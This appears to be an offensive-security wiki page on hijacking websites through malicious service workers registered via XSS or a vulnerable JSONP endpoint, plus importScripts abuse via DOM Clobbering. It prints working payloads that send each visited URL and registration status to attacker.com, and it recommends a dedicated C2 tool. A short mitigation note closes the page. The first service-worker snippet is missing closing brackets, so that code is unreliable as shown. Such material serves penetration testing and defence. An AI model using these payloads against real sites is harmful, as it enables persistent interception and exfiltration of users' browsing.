Search K
Appearance
Appearance
Try Hard Security Group
A service worker is a script run by your browser in the background, separate from any web page, enabling features that don't require a web page or user interaction, thus enhancing offline and background processing capabilities. Detailed information on service workers can be found here. By exploiting service workers within a vulnerable web domain, attackers can gain control over the victim's interactions with all pages within that domain.
Existing service workers can be checked in the Service Workers section of the Application tab in Developer Tools. Another method is visiting chrome://serviceworker-internals for a more detailed view.
Push notification permissions directly impact a service worker's ability to communicate with the server without direct user interaction. If permissions are denied, it limits the service worker's potential to pose a continuous threat. Conversely, granting permissions increases security risks by enabling the reception and execution of potential exploits.
In order to exploit this vulnerability you need to find:
In the following example I'm going to present a code to register a new service worker that will listen to the fetch
event and will send to the attackers server each fetched URL (this is the code you would need to upload to the server or load via a vulnerable JSONP response):
self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});
And this is the code that will register the worker (the code you should be able to execute abusing a XSS). In this case a GET request will be sent to the attackers server notifying if the registration of the service worker was successful or not:
<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>
In case of abusing a vulnerable JSONP endpoint you should put the value inside var sw
. For example:
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
There is a C2 dedicated to the exploitation of Service Workers called Shadow Workers that will be very useful to abuse these vulnerabilities.
The 24-hour cache directive limits the life of a malicious or compromised service worker (SW) to at most 24 hours after an XSS vulnerability fix, assuming online client status. To minimize vulnerability, site operators can lower the SW script's Time-To-Live (TTL). Developers are also advised to create a service worker kill-switch for rapid deactivation.
importScripts
in a SW via DOM Clobbering โThe function importScripts
called from a Service Worker can import a script from a different domain. If this function is called using a parameter that an attacker could modify he would be able to import a JS script from his domain and get XSS.
This even bypasses CSP protections.
Example vulnerable code:
<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
</script>
const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker
For more info about what DOM Clobbering is check:
If the URL/domain where that the SW is using to call importScripts
is inside a HTML element, it's possible to modify it via DOM Clobbering to make the SW load a script from your own domain.
For an example of this check the reference link.
Try Hard Security Group